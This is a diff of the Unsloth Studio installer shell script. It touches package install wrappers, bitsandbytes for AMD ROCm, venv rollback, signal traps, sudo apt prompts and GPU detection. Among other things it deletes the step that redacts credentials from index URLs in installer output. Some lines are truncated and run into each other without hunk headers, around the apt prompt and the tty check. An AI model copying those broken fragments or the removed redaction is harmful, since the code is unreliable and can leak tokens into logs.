-_trim_index_path_slashes() { - _tips_v="$1" - case "$_tips_v" in - *[?#]*) - _tips_head="${_tips_v%%[?#]*}" - _tips_tail="${_tips_v#"$_tips_head"}" - ;; - *) - _tips_head="$_tips_v" - _tips_tail="" - ;; - esac - while [ -n "$_tips_head" ] && [ "${_tips_head%/}" != "$_tips_head" ]; do - _tips_head="${_tips_head%/}" - done - printf '%s%s' "$_tips_head" "$_tips_tail" -} - -# Redact index-URL credentials (userinfo + ?query= + #fragment) from captured installer -# output before printing on failure; uv/pip errors echo the failing --index-url verbatim. -# Mirrors the other installers. Verbose mode streams uncaptured, so it isn't redacted. -_redact_install_output() { - sed -E \ - -e 's#(https?://)[^/@[:space:]`]+@#\1@#g' \ - -e 's#([?&][^=[:space:]&`]+)=[^&#[:space:]`]+#\1=#g' \ - -e 's|(https?://[^[:space:]`#]+)#[^[:space:]`]+|\1#|g' \ - "$@" -} - run_install_cmd() { _label="$1" shift - # Installer-pinned index installs (torch) must beat an inherited uv mirror (#6898): - # for --default-index, neutralize the uv index/backend/config vars (UV_TORCH_BACKEND - # redirects torch; UV_NO_CONFIG=1 + dropping UV_CONFIG_FILE stops a uv.toml/pyproject - # index outranking the CLI pin, uv 0.10). - case " $* " in - *" --default-index "*) set -- env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL -u UV_TORCH_BACKEND -u UV_FIND_LINKS -u UV_CONFIG_FILE UV_NO_CONFIG=1 "$@" ;; - esac if _is_verbose; then - # Stream through the redactor: uv echoes index URLs (credentials and - # all) in its errors, and verbose mode previously bypassed the - # redaction the quiet path applies. The rc file preserves the - # command's exit code across the pipe without relying on pipefail - # (this script runs under plain sh). - _rcf=$(mktemp) - tauri_stream_log stdout "OUTPUT_CLEAR" "$_label" - { - if "$@" 2>&1; then - _cmd_rc=0 - else - _cmd_rc=$? - fi - printf '%s' "$_cmd_rc" > "$_rcf" - } | _redact_install_output - _rc=$(cat "$_rcf" 2>/dev/null || echo 1) - rm -f "$_rcf" - _rc=${_rc:-1} - if [ "$_rc" -eq 0 ] 2>/dev/null; then - tauri_clear_install_error "$_label recovered" - return 0 - fi - tauri_stream_log stdout "ERROR_OUTPUT" "$_label failed (exit code $_rc)" + "$@" && return 0 + _rc=$? step "error" "$_label failed (exit code $_rc)" "$C_ERR" >&2 return "$_rc" fi _log=$(mktemp) - tauri_stream_log stderr "OUTPUT_CLEAR" "$_label" - "$@" >"$_log" 2>&1 && { - rm -f "$_log" - tauri_clear_install_error "$_label recovered" - return 0 - } + "$@" >"$_log" 2>&1 && { rm -f "$_log"; return 0; } _rc=$? step "error" "$_label failed (exit code $_rc)" "$C_ERR" >&2 - _redact_install_output "$_log" >&2 - tauri_stream_log stderr "ERROR_OUTPUT" "$_label failed (exit code $_rc)" + cat "$_log" >&2 rm -f "$_log" return $_rc } @@ -287,70 +197,10 @@ run_install_cmd_retry() { done } -# True when the runtime target is gfx906 (MI50/Radeon VII): the prebuilt AMD -# bitsandbytes wheel carries no gfx906 kernels, and force-reinstalling it would -# clobber a user's source-built bnb (the only 4-bit path on this arch) on every -# `studio update`. So skip the auto-install and leave whatever bnb is present. -# _gfx906_target is set during torch-index resolution; also honor an explicit -# UNSLOTH_ROCM_GFX_ARCH so a pinned-index install still skips. The override is -# normalized (gfx906:sramecc-:xnack- -> gfx906) so a copied HIP gcnArchName counts. -_is_gfx906_bnb_skip() { - [ "${_gfx906_target:-false}" = true ] && return 0 - _bnb_gfx_env=$(printf '%s' "${UNSLOTH_ROCM_GFX_ARCH:-}" | tr '[:upper:]' '[:lower:]' | tr -d '[:space:]') - _bnb_gfx_env=${_bnb_gfx_env%%:*} - [ "$_bnb_gfx_env" = "gfx906" ] && return 0 - # A pinned index (UNSLOTH_TORCH_INDEX_URL/_FAMILY) skips the reroute block that - # sets _gfx906_target, so a real gfx906 host with a pinned rocm6.3 index and no - # UNSLOTH_ROCM_GFX_ARCH would otherwise clobber a source-built bnb. Probe here - # in that gap; skip only when gfx906 is the SOLE distinct arch (mixed hosts - # opt in via the env var, mirroring the reroute block's de-dup rule). - if [ -z "$_bnb_gfx_env" ] && [ "${_torch_index_pinned:-false}" = true ]; then - _bnb_gfx_probe=$(_probe_amd_gfx_arch | awk 'NF && !seen[$0]++') - [ "$_bnb_gfx_probe" = "gfx906" ] && return 0 - fi - return 1 -} - -# `pip install unsloth` resolves its unconditional bitsandbytes dep to a generic -# CUDA wheel (no gfx906 kernels) once we skip the prebuilt one. Snapshot bnb before -# the unsloth install, then drop a freshly pulled wheel afterwards while leaving a -# pre-existing source build in place. -_gfx906_bnb_installed() { - "$_VENV_PY" -c "import importlib.util as u, sys; sys.exit(0 if u.find_spec('bitsandbytes') else 1)" >/dev/null 2>&1 -} -_gfx906_bnb_snapshot() { - _gfx906_bnb_absent_before=false - _is_gfx906_bnb_skip || return 0 - _gfx906_bnb_installed || _gfx906_bnb_absent_before=true -} -_gfx906_bnb_prune() { - _is_gfx906_bnb_skip || return 0 - [ "${_gfx906_bnb_absent_before:-false}" = true ] || return 0 - _gfx906_bnb_installed || return 0 - substep "gfx906: removing generic bitsandbytes pulled in as a dependency (no gfx906 kernels; build from source for 4-bit QLoRA)" "$C_WARN" - uv pip uninstall --python "$_VENV_PY" bitsandbytes >/dev/null 2>&1 \ - || "$_VENV_PY" -m pip uninstall -y bitsandbytes >/dev/null 2>&1 || true -} - -# Install bitsandbytes on AMD ROCm hosts. bnb <= 0.49.2 NaNs at 4-bit decode -# shape on every AMD GPU; the fix (bnb #1887) ships in continuous-release_main -# and, on PyPI, first in 0.50.0. Keep this floor in step with the amd extra in -# pyproject.toml and studio/install_python_stack.py. -_BNB_ROCM_PYPI_FALLBACK="bitsandbytes>=0.50.0" -# bitsandbytes ships no ROCm binary in its aarch64 wheel at any version: the PyPI -# 0.50.0 and continuous-release_main aarch64 wheels both carry only -# libbitsandbytes_cpu.so plus CUDA variants. So neither install path below gives -# aarch64 a 4-bit backend, and the messages must not claim one. Cf. gfx906. -_bnb_rocm_arch_has_binary() { - case "$_ARCH" in - aarch64|arm64) return 1 ;; - *) return 0 ;; - esac -} -_warn_bnb_no_rocm_binary() { - _bnb_rocm_arch_has_binary && return 0 - substep "[WARN] aarch64: bitsandbytes ships no ROCm kernels on this arch; 4-bit QLoRA needs a source build -- https://docs.unsloth.ai/get-started/install-and-update/amd" "$C_WARN" -} +# Install bitsandbytes on AMD ROCm hosts. Uses the continuous-release_main +# wheel for the ROCm 4-bit GEMV fix (bnb PR #1887, post-0.49.2); bnb <= 0.49.2 +# NaNs at decode shape on every AMD GPU. Falls back to PyPI >=0.49.1 if the +# pre-release URL is unreachable. Drop the pin once bnb 0.50+ ships on PyPI. _install_bnb_rocm() { _label="$1" _venv_py="$2" @@ -365,8 +215,9 @@ _install_bnb_rocm() { _bnb_whl_url="" ;; esac - # uv rejects the pre-release wheel: filename version (1.33.7rc0) does not - # match metadata (0.50.x.dev0). pip accepts it, so bootstrap pip and use it. + # uv rejects the continuous-release_main bitsandbytes wheel because the + # filename version (1.33.7rc0) does not match the embedded metadata version + # (0.50.0.dev0). pip accepts the mismatch, so bootstrap pip and use it. if ! "$_venv_py" -m pip --version >/dev/null 2>&1; then if ! run_maybe_quiet "$_venv_py" -m ensurepip --upgrade; then run_maybe_quiet uv pip install --python "$_venv_py" pip || \ @@ -382,26 +233,18 @@ _install_bnb_rocm() { --retries 8 --timeout 90 \ "$_bnb_whl_url" >"$_bnb_log" 2>&1; then rm -f "$_bnb_log" - _warn_bnb_no_rocm_binary return 0 fi _bnb_rc=$? if _is_verbose; then - _redact_install_output "$_bnb_log" >&2 + cat "$_bnb_log" >&2 fi rm -f "$_bnb_log" step "warning" "$_label (pre-release) failed (exit code $_bnb_rc)" "$C_WARN" >&2 - if _bnb_rocm_arch_has_binary; then - substep "[WARN] bnb pre-release install failed; falling back to PyPI $_BNB_ROCM_PYPI_FALLBACK, which carries the ROCm 4-bit fix" "$C_WARN" - else - substep "[WARN] bnb pre-release install failed; falling back to PyPI $_BNB_ROCM_PYPI_FALLBACK" "$C_WARN" - fi + substep "[WARN] bnb pre-release install failed; falling back to PyPI (4-bit decode broken on ROCm)" "$C_WARN" fi run_install_cmd "$_label (pypi fallback)" "$_venv_py" -m pip install \ - --force-reinstall --no-cache-dir --no-deps "$_BNB_ROCM_PYPI_FALLBACK" - _bnb_pypi_rc=$? - _warn_bnb_no_rocm_binary - return $_bnb_pypi_rc + --force-reinstall --no-cache-dir --no-deps "bitsandbytes>=0.49.1" } if [ "$_next_is_package" = true ]; then @@ -412,10 +255,6 @@ if [ "$_next_is_python" = true ]; then echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2 exit 1 fi -if [ "$_next_is_llama_cpp_dir" = true ]; then - echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2 - exit 1 -fi # Validate --package to prevent injection into shell/Python commands. # Must start with a letter/digit (rejects leading dashes that uv would parse as flags). @@ -435,34 +274,6 @@ tauri_log() { fi } -tauri_stream_log() { - _tsl_stream="$1" - _tsl_tag="$2" - shift 2 - if [ "$TAURI_MODE" = true ]; then - if [ "$_tsl_stream" = stderr ]; then - printf '[TAURI:%s] %s\n' "$_tsl_tag" "$*" >&2 - else - printf '[TAURI:%s] %s\n' "$_tsl_tag" "$*" - fi - fi -} - -rollback_substep() { - if [ "$TAURI_MODE" = true ]; then - tauri_log "PROGRESS" "$1" - else - substep "$@" - fi -} - -tauri_clear_install_error() { - if [ "$TAURI_MODE" = true ]; then - tauri_log "ERROR_CLEAR" "$1" - printf '[TAURI:ERROR_CLEAR] %s\n' "$1" >&2 - fi -} - tauri_diag_marker() { _diag_gpu_branch="${1:-unknown}" _diag_torch_index_family="${2:-none}" @@ -475,11 +286,6 @@ _tauri_torch_index_family() { return fi _diag_url="${1:-}" - # Strip query/fragment AND a trailing slash before classifying (like _torch_index_url_leaf): - # a token isn't echoed into [TAURI:DIAG], and .../cu128/?token=x still classifies as cu128. - _diag_url="${_diag_url%%\?*}" - _diag_url="${_diag_url%%#*}" - _diag_url="${_diag_url%/}" case "$_diag_url" in */cu118) echo "cu118" ;; */cu124) echo "cu124" ;; @@ -513,8 +319,7 @@ _tauri_gpu_branch() { return fi case "$_diag_family" in - # Require a digit after cu so /current or /custom isn't branded CUDA (parity ^cu[0-9]). - cu[0-9]*) echo "cuda" ;; + cu*) echo "cuda" ;; rocm*) if [ "$_diag_radeon" = true ]; then echo "rocm_radeon" @@ -600,20 +405,14 @@ _start_studio_venv_replacement() { _stamp=$(date +%Y%m%d%H%M%S 2>/dev/null || echo "time") _candidate="$STUDIO_HOME/unsloth_studio.rollback.$_stamp.$$" _suffix=0 - while [ -e "$_candidate" ] || [ -L "$_candidate" ]; do + while [ -e "$_candidate" ]; do _suffix=$((_suffix + 1)) _candidate="$STUDIO_HOME/unsloth_studio.rollback.$_stamp.$$.$_suffix" done + mv "$_existing_dir" "$_candidate" _VENV_ROLLBACK_DIR="$_candidate" _VENV_ROLLBACK_TARGET="$_existing_dir" _VENV_ROLLBACK_ACTIVE=true - # Publish the rollback state before the atomic rename so a signal cannot - # land after mv but before the exit handlers know where the old venv went. - if ! mv "$_existing_dir" "$_candidate"; then - _VENV_ROLLBACK_ACTIVE=false - _VENV_ROLLBACK_DIR="" - return 1 - fi substep "previous environment preserved for rollback" } @@ -623,10 +422,10 @@ _restore_studio_venv_replacement() { _VENV_ROLLBACK_ACTIVE=false return 0 } - rollback_substep "restoring previous environment after failed install..." "$C_WARN" + substep "restoring previous environment after failed install..." "$C_WARN" rm -rf "$_VENV_ROLLBACK_TARGET" if mv "$_VENV_ROLLBACK_DIR" "$_VENV_ROLLBACK_TARGET"; then - rollback_substep "restored previous environment" + substep "restored previous environment" _VENV_ROLLBACK_ACTIVE=false _VENV_ROLLBACK_DIR="" else @@ -634,68 +433,13 @@ _restore_studio_venv_replacement() { fi } -_studio_venv_rollback_must_be_preserved() { - _rollback_name=${1##*/} - _rollback_metadata=${_rollback_name#unsloth_studio.rollback.} - _rollback_stamp=${_rollback_metadata%%.*} - _rollback_process=${_rollback_metadata#*.} - # Preserve anything outside the installer's timestamp.PID[.suffix] format. - [ "$_rollback_process" != "$_rollback_metadata" ] || return 0 - case "$_rollback_stamp" in - time) ;; - ''|*[!0-9]*) return 0 ;; - *) [ "${#_rollback_stamp}" -eq 14 ] || return 0 ;; - esac - _rollback_pid=${_rollback_process%%.*} - case "$_rollback_pid" in - ''|*[!0-9]*) return 0 ;; - esac - _rollback_suffix=${_rollback_process#*.} - if [ "$_rollback_suffix" != "$_rollback_process" ]; then - case "$_rollback_suffix" in ''|*[!0-9]*) return 0 ;; esac - fi - kill -0 "$_rollback_pid" 2>/dev/null -} - -_prune_stale_studio_venv_rollbacks() { - for _stale_rollback in "$STUDIO_HOME"/unsloth_studio.rollback.*; do - [ -d "$_stale_rollback" ] || continue - if [ -L "$_stale_rollback" ]; then - echo "⚠️ Refusing to remove rollback symlink $_stale_rollback" >&2 - continue - fi - # A concurrent installer may have moved its live venv aside. The PID in - # the generated name keeps this successful run from deleting its rescue copy. - _studio_venv_rollback_must_be_preserved "$_stale_rollback" && continue - if rm -rf "$_stale_rollback"; then - substep "removed stale environment rollback ${_stale_rollback##*/}" - else - echo "⚠️ Could not remove stale environment rollback $_stale_rollback" >&2 - fi - done -} - _commit_studio_venv_replacement() { - if [ "$_VENV_ROLLBACK_ACTIVE" = true ]; then - _rollback_to_remove="$_VENV_ROLLBACK_DIR" - # The new environment is already committed. Clear the restore state - # before deletion so an interrupt cannot replace it with a half-deleted backup. - _VENV_ROLLBACK_ACTIVE=false - _VENV_ROLLBACK_DIR="" - if [ -n "$_rollback_to_remove" ] && [ -d "$_rollback_to_remove" ]; then - if ! rm -rf "$_rollback_to_remove"; then - echo "⚠️ Could not remove environment rollback $_rollback_to_remove" >&2 - fi - fi + [ "$_VENV_ROLLBACK_ACTIVE" = true ] || return 0 + if [ -n "$_VENV_ROLLBACK_DIR" ] && [ -d "$_VENV_ROLLBACK_DIR" ]; then + rm -rf "$_VENV_ROLLBACK_DIR" || true fi - # Only prune older orphaned copies after the replacement has succeeded, so - # an interrupted install never discards the last known-good environment. - _prune_stale_studio_venv_rollbacks -} - -_cleanup_install_temporaries() { - [ -n "${_UV_OVERRIDE_TMPDIR:-}" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true - [ -n "${_UNSLOTH_TORCH_OVERRIDES:-}" ] && rm -f "$_UNSLOTH_TORCH_OVERRIDES" 2>/dev/null || true + _VENV_ROLLBACK_ACTIVE=false + _VENV_ROLLBACK_DIR="" } _on_install_exit() { @@ -703,28 +447,13 @@ _on_install_exit() { if [ "$_status" -ne 0 ]; then _restore_studio_venv_replacement fi - _cleanup_install_temporaries + [ -n "${_UV_OVERRIDE_TMPDIR:-}" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true exit "$_status" } - -_on_install_signal() { - _signal_status="$1" - # EXIT is disabled to avoid a second cleanup pass. Ignore further termination - # signals until the old environment is back in place. - trap - EXIT - trap '' HUP INT TERM - _restore_studio_venv_replacement - _cleanup_install_temporaries - exit "$_signal_status" -} -# Empty so an inherited value never reaches the trap's rm; only temp paths this -# script creates below (spaced-path dir, torch-trio overrides) are removed. +# Empty so an inherited value can never reach the trap's rm; only a temp dir +# this script creates below (Apple Silicon, spaced path) is ever removed. _UV_OVERRIDE_TMPDIR="" -_UNSLOTH_TORCH_OVERRIDES="" trap _on_install_exit EXIT -trap '_on_install_signal 129' HUP -trap '_on_install_signal 130' INT -trap '_on_install_signal 143' TERM # ── Helper: download a URL to a file (supports curl and wget) ── download() { @@ -750,45 +479,6 @@ _is_pkg_installed() { esac } -# ── Helper: human-readable apt distro label for the sudo package prompt (#6207) ── -# Reads /etc/os-release so the Accept? prompt can say which distro we detected and -# that packages come from that distro's official apt repos (not a tarball). -_apt_distro_description() { - # Plain ( ... ) subshell — not $() — so case/;; stays bash-3.2-safe on macOS. - # Bash 3.2 misparses case arms inside command substitution and errors on `;;`. - ( - if [ ! -r /etc/os-release ]; then - printf 'a debian-like system' - exit 0 - fi - # shellcheck disable=SC1091 - . /etc/os-release 2>/dev/null || true - if [ -n "${NAME:-}" ] && [ -n "${VERSION_ID:-}" ]; then - _ad_label="$NAME $VERSION_ID" - elif [ -n "${PRETTY_NAME:-}" ]; then - _ad_label="$PRETTY_NAME" - elif [ -n "${NAME:-}" ]; then - _ad_label="$NAME" - else - printf 'a debian-like system' - exit 0 - fi - case " ${ID:-} ${ID_LIKE:-} " in - *" debian "*|*" ubuntu "*) _ad_label="${_ad_label} (debian-like)" ;; - esac - printf '%s' "$_ad_label" - ) -} - -# ── Helper: can the controlling terminal actually be opened for reading? ── -# `test -r` only checks permission bits, which look fine in containers and -# systemd units where open() then fails with ENXIO. Probe with a real open. -# The subshell is required: in dash a failed redirection on the special -# builtin `:` exits the whole script. -_can_read_tty() { - ( : /dev/null 2>&1 -} - # ── Helper: install packages via apt, escalating to sudo only if needed ── # Usage: _smart_apt_install pkg1 pkg2 pkg3 ... _smart_apt_install() { @@ -811,90 +501,39 @@ _smart_apt_install() { return 0 fi - # Optional callers never elevate, in any mode: nothing on the consumer path - # builds anything, so neither the terminal sudo prompt below nor the Tauri - # NEED_SUDO dialog (whose Cancel leaves the user not installed) may gate the - # run over unused tools. The caller falls through to prebuilt llama.cpp. - # Required packages such as curl still escalate. - if [ "${_SMART_APT_OPTIONAL:-false}" = true ]; then - return 2 - fi - + # In Tauri mode, report needed packages and exit — Rust handles elevation if [ "$TAURI_MODE" = true ]; then - # Report needed packages and exit — Rust handles elevation. tauri_log "NEED_SUDO" "$_STILL_MISSING" exit 2 fi # Step 3: Escalate -- need elevated permissions for remaining packages if command -v sudo >/dev/null 2>&1; then - _ad_desc="$(_apt_distro_description)" echo "" echo " !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo " WARNING: We require sudo elevated permissions to install:" echo " $_STILL_MISSING" - echo " Detected ${_ad_desc}." - echo " If you accept, we'll run sudo apt-get to install these packages" - echo " from your distro's official repositories (not a third-party tarball)." + echo " If you accept, we'll run sudo now, and it'll prompt your password." echo " !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "" - if _can_read_tty; then - printf " Accept? [Y/n] " - # The device opened, so a failed read is EOF, not consent: decline, - # as the autostart prompt below does. Enter is still yes (a - # successful read of an empty line). - read -r REPLY /dev/null || true) case "$_p" in ''|*[!0-9]*) ;; @@ -1238,7 +877,7 @@ _acquire_lock() { # Lock dir exists -- check if owner is still alive _old_pid=$(cat "$LOCK_DIR/pid" 2>/dev/null || true) if [ -n "$_old_pid" ] && kill -0 "$_old_pid" 2>/dev/null; then - # Another launcher is running; wait for it to bring Unsloth up + # Another launcher is running; wait for it to bring Studio up _deadline=$(($(date +%s) + TIMEOUT_SEC)) while [ "$(date +%s)" -lt "$_deadline" ]; do _port=$(_find_healthy_port) && { @@ -1708,7 +1347,7 @@ WSLPS1_EOF # shortcut wasn't created; tell the user how to launch / re-enable it. if [ "$_css_created" -ne 1 ]; then substep "Couldn't create the Windows shortcut (WSL interop may be disabled)." "$C_WARN" - substep " Launch Unsloth from Windows: wsl -d \"$_css_distro\" -- bash -lc 'unsloth studio'" "$C_WARN" + substep " Launch Studio from Windows: wsl -d \"$_css_distro\" -- bash -lc 'unsloth studio'" "$C_WARN" substep " (re-enable shortcuts: turn WSL interop back on, e.g. run 'wsl --shutdown' then reopen WSL.)" "$C_WARN" fi fi @@ -1776,7 +1415,7 @@ if [ "$MAC_INTEL" = true ]; then echo "" echo " NOTE: Intel Mac (x86_64) detected." echo " PyTorch is unavailable for this platform (dropped Jan 2024)." - echo " Unsloth will install in GGUF-only mode." + echo " Studio will install in GGUF-only mode." echo " Chat, inference via GGUF, and data recipes will work." echo " Training requires Apple Silicon or Linux with GPU." echo "" @@ -1788,14 +1427,8 @@ if [ "$_NO_TORCH_FLAG" = true ] || [ "$MAC_INTEL" = true ]; then SKIP_TORCH=true fi -# Apple Silicon: exclude broken mlx-lm 0.31.3 (QK-norm load regression for -# gemma4 / qwen3_5; mlx-lm #1242). A curl-piped install has no overrides file -# and skips the guarded MLX step (SKIP_STUDIO_BASE=1), so this is the only cover. -_MLX_LM_EXCLUDE_ARG="" - # Apple Silicon: override mlx-vlm / mlx-lm's transformers pin (see overrides file). if [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then - _MLX_LM_EXCLUDE_ARG="mlx-lm!=0.31.3" _OVERRIDES_FILE="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)/studio/backend/requirements/single-env/overrides-darwin-arm64.txt" if [ -f "$_OVERRIDES_FILE" ]; then # uv splits UV_OVERRIDE on whitespace, so a repo path with whitespace @@ -1829,106 +1462,17 @@ elif [ "$OS" = "macos" ]; then fi tauri_diag_marker "$_TAURI_INITIAL_GPU_BRANCH" "none" -# AMD GPU name from the Windows host via WMI, or empty. Discrete cards aren't in -# /proc/cpuinfo, so ask Windows. Cached ("-" = negative), self-contained, bounded -# to 10s. Defined here so the reroute below can use it before _run_bounded exists. -_WSL_AMD_GPU_NAME_CACHE="" -_wsl_amd_gpu_name() { - if [ -n "$_WSL_AMD_GPU_NAME_CACHE" ]; then - [ "$_WSL_AMD_GPU_NAME_CACHE" = "-" ] && return 1 - printf '%s' "$_WSL_AMD_GPU_NAME_CACHE"; return 0 - fi - command -v powershell.exe >/dev/null 2>&1 || { _WSL_AMD_GPU_NAME_CACHE="-"; return 1; } - _wag_ps="(Get-CimInstance Win32_VideoController | Where-Object { \$_.Name -match 'AMD|Radeon' } | Select-Object -First 1).Name" - if command -v timeout >/dev/null 2>&1; then - _wag_n="$(timeout 10 powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')" - else - _wag_n="$(powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')" - fi - if [ -n "$_wag_n" ]; then _WSL_AMD_GPU_NAME_CACHE="$_wag_n"; printf '%s' "$_wag_n"; return 0; fi - _WSL_AMD_GPU_NAME_CACHE="-"; return 1 -} - -# ── Bounded command runner ── -# Runs a command under a 10s timeout when the `timeout` binary is available, -# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during -# driver init or after a reset) from hanging the installer: a timed-out probe -# exits nonzero and is treated exactly like a failed probe. No-op semantics on -# hosts without `timeout` (e.g. macOS) or when the probe is healthy. -_run_bounded() { - if command -v timeout >/dev/null 2>&1; then - timeout 10 "$@" - else - "$@" - fi -} - -# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every -# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to -# the AMD card). Unset means all devices visible. nvidia-smi ignores this env -# var, so the probes below cannot see the distinction on their own. -_cvd_hides_nvidia() { - [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1 - _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]') - [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ] -} - -# ── NVIDIA usable-GPU helper ── -# Returns 0 (true) if an NVIDIA GPU is present and usable. -# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs, -# which the NVIDIA driver populates on Linux regardless of nvidia-smi state -# -- handles PATH gaps, subprocess timeouts, and driver init races that -# could otherwise cause nvidia-smi to fail and silence NVIDIA detection. -# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches -# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs. -_has_usable_nvidia_gpu() { - if _cvd_hides_nvidia; then - return 1 - fi - _nvsmi="" - if command -v nvidia-smi >/dev/null 2>&1; then - _nvsmi="nvidia-smi" - elif [ -x "/usr/bin/nvidia-smi" ]; then - _nvsmi="/usr/bin/nvidia-smi" - fi - if [ -n "$_nvsmi" ]; then - if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then - return 0 - fi - fi - # Fallback: NVIDIA driver exposes one subdir per GPU under this path. - if [ -d /proc/driver/nvidia/gpus ] && \ - [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then - return 0 - fi - return 1 -} - # Strix Halo ROCm-on-WSL only targets Ubuntu 24.04. On a newer distro (e.g. 26.04) # with a 24.04 distro present, re-run the install there and stop; else fall through # to CPU + the `wsl --install` hint below (never auto-create a distro). Runs before # the STUDIO_HOME mkdir/venv so the origin distro is untouched. _maybe_reroute_strixhalo_to_2404() { [ "${OS:-}" = "wsl" ] || return 0 - # An explicit index pin skips every GPU-driven reroute (same contract as - # the later Radeon/Strix guard): the pin is honored in THIS distro rather - # than probing the GPU and switching distributions. Whitespace-only - # overrides do not gate (parity with get_torch_index_url). - _rr_pin=$(printf '%s' "${UNSLOTH_TORCH_INDEX_URL:-}${UNSLOTH_TORCH_INDEX_FAMILY:-}" | tr -d '[:space:]') - [ -n "$_rr_pin" ] && return 0 [ "${SKIP_TORCH:-false}" = "false" ] || return 0 [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0 [ "${UNSLOTH_WSL_REROUTED:-0}" = "1" ] && return 0 [ -e /dev/dxg ] || return 0 - # A usable NVIDIA GPU (common on hybrid AMD+NVIDIA hosts) means the CUDA path works on - # this distro, so don't reroute for AMD. _has_usable_nvidia_gpu (moved above) honors - # CUDA_VISIBLE_DEVICES=""/-1 and the /proc/driver/nvidia fallback for PATH/timeout gaps. - if _has_usable_nvidia_gpu; then return 0; fi - # Strix APUs show in /proc/cpuinfo; discrete cards don't, so also try WMI. Either reroutes. - if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo' /proc/cpuinfo 2>/dev/null \ - && ! _wsl_amd_gpu_name >/dev/null 2>&1; then - return 0 - fi + grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0 # Already ROCm-on-WSL? leave a working GPU alone, whatever the version. if [ -e /opt/rocm/lib/librocdxg.so ] || [ -e /opt/rocm/lib64/librocdxg.so ]; then return 0 @@ -1977,11 +1521,6 @@ _maybe_reroute_strixhalo_to_2404() { # Forward explicit ROCm-bootstrap consent (e.g. Tauri) so the child auto-enables the # GPU instead of falling back to the desktop-app prompt path. [ "${UNSLOTH_ROCM_WSL_AUTO:-0}" = "1" ] && _rr_exports="$_rr_exports; export UNSLOTH_ROCM_WSL_AUTO=1" - # Forward a pinned torch index into the rerouted distro; dropping it would - # silently revert the child install to auto-detection. - [ -n "${UNSLOTH_TORCH_INDEX_URL:-}" ] && _rr_exports="$_rr_exports; export UNSLOTH_TORCH_INDEX_URL=$(_rr_q "$UNSLOTH_TORCH_INDEX_URL")" - [ -n "${UNSLOTH_TORCH_INDEX_FAMILY:-}" ] && _rr_exports="$_rr_exports; export UNSLOTH_TORCH_INDEX_FAMILY=$(_rr_q "$UNSLOTH_TORCH_INDEX_FAMILY")" - [ "$_SKIP_AUTOSTART" = true ] && _rr_exports="$_rr_exports; export UNSLOTH_SKIP_AUTOSTART=1" _rr_args="" [ "$PACKAGE_NAME" != "unsloth" ] && _rr_args="$_rr_args --package $(_rr_q "$PACKAGE_NAME")" [ -n "$_USER_PYTHON" ] && _rr_args="$_rr_args --python $(_rr_q "$_USER_PYTHON")" @@ -2018,142 +1557,67 @@ _maybe_reroute_strixhalo_to_2404() { _maybe_reroute_strixhalo_to_2404 || true # ── Check system dependencies ── +# cmake/git are only needed to *build* llama.cpp from source. Studio downloads a +# prebuilt by default, and setup.sh self-skips the source build when they're +# absent -- so macOS doesn't block on cmake (requiring it would force a manual +# Homebrew install). Linux keeps requiring them; its package manager has them. tauri_log "STEP" "Checking system dependencies" -# Without the Xcode CLT, macOS still ships /usr/bin/git as a stub that errors and pops -# a GUI dialog, so `command -v git` is not enough -- only running it tells the truth. -_has_working_git() { - command -v git >/dev/null 2>&1 || return 1 - git --version >/dev/null 2>&1 -} - -# macOS system-dependency check. A function so tests/sh can sed-extract it; the old -# inline form was untestable, which is why this gate shipped broken. -# -# The consumer install needs no developer toolchain: uv is a prebuilt binary, CPython -# is uv-managed, llama.cpp/whisper.cpp/Node are prebuilt downloads, and triton is -# skipped on macOS. Only `--local` needs git, for the unsloth-zoo git+https URL. -_check_macos_deps() { - _clt_missing=false - xcode-select -p >/dev/null 2>&1 || _clt_missing=true - - if [ "$STUDIO_LOCAL_INSTALL" = true ] && ! _has_working_git; then - echo "" - step "deps" "git is required for --local installs" "$C_ERR" - substep "--local installs unsloth-zoo from git+https://github.com/unslothai/unsloth-zoo," - substep "which needs a working git. Install the Xcode Command Line Tools:" - substep " xcode-select --install" - substep "Then re-run this script. A normal (non---local) install needs no compiler" - substep "and no git -- it uses prebuilt binaries and wheels only." - tauri_log "NEED_XCODE_CLT" "git" - return 1 - fi - - if [ "$_clt_missing" = true ]; then - # Not fatal, and no GUI dialog: firing xcode-select --install and exiting is - # what stranded clean Macs. - step "deps" "no Xcode Command Line Tools (not required)" "$C_WARN" - substep "Unsloth installs prebuilt binaries and wheels, so no compiler is needed." - substep "Install them only for a llama.cpp source build: xcode-select --install" - elif command -v cmake >/dev/null 2>&1; then - step "deps" "all system dependencies found" - else - # cmake is only for a source build, so its absence is not fatal. - step "deps" "using prebuilt llama.cpp (cmake not found)" "$C_WARN" - substep "Install cmake only if you want a source build: brew install cmake" - 